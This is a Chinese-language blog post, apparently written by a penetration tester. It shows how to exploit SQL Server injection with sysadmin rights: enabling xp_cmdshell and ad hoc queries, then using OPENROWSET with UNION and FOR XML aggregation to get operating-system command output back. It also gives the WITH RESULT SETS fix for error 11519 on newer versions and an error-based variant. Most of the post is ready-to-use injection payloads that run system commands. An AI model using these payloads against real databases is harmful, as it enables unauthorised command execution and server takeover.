现在的位置: 首页 Sql >正文

利用OpenRowSet注入时返回11519错误的解决办法

高版本SqlServer特性导致的语句出错,做个记录。


SysAdmin服务器角色的SqlServer注入可以使用OpenRowSet直接获取xp_cmdshell回显,大致是这样:

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
select '1' where 1=2 union select * from openrowset(
'sqloledb','trusted_connection=yes',
'set fmtonly off exec master..xp_cmdshell ''whoami /all''')

可以看到这样的返回:

1.png

由于顺序乱了,一般来说都套一层子查询,用xml来聚合:

select 1 as a,'a' as b where 1=2 union select 1,a from (
select(select output+'这里是一个需要在http包中编码的换行符0x0a' 
from openrowset('sqloledb','trusted_connection=yes',
'set fmtonly off exec master..xp_cmdshell ''whoami /all''') 
for xml path('')) as a)b

optput字段是exec默认的列名,加个换行保持原格式的同时还能屏蔽xml标签,最后起个别名union出来。

返回结果是这样的:

22.png

写这么复杂也是迫不得已,聚合之后的xml实际上不是结果集,是个标量,标量的列名是个随机数:

2.png

所以只能嵌套在子查询中改个名字来union。


这种方法不用临时表就能直接取得返回的结果,方便之处不必多说。只可惜在高版本直接执行会返回一个错误:

3.png

消息 11519,级别 16,状态 1,过程 sp_describe_first_result_set,第 1 行
无法确定元数据,因为语句“exec master..xp_cmdshell 'dir'”调用扩展存储过程。

查看exec的官方文档(https://msdn.microsoft.com/zh-cn/library/ms188332.aspx ),发现从SqlServer 2012开始添加一个新特性RESULT SETS,官方的解释是“定义返回结果集的类型”。

xp_cmdshell返回单列结果集,所以相应的语句要修改为:

select * from openrowset('sqloledb','trusted_connection=yes',
'set fmtonly off exec master..xp_cmdshell ''whoami''
with RESULT SETS((a varchar(max)))')

修改后执行成功:

4.png

顺便,能够报错的时候可以这样做:

select 1 where (select a+'' from openrowset(
'sqloledb','trusted_connection=yes',
'set fmtonly off exec master..xp_cmdshell ''whoami''
with RESULT SETS((a varchar(max)))')
for xml path(''))>1

5.png


好好的默认结果集被和谐,微软也是闲的……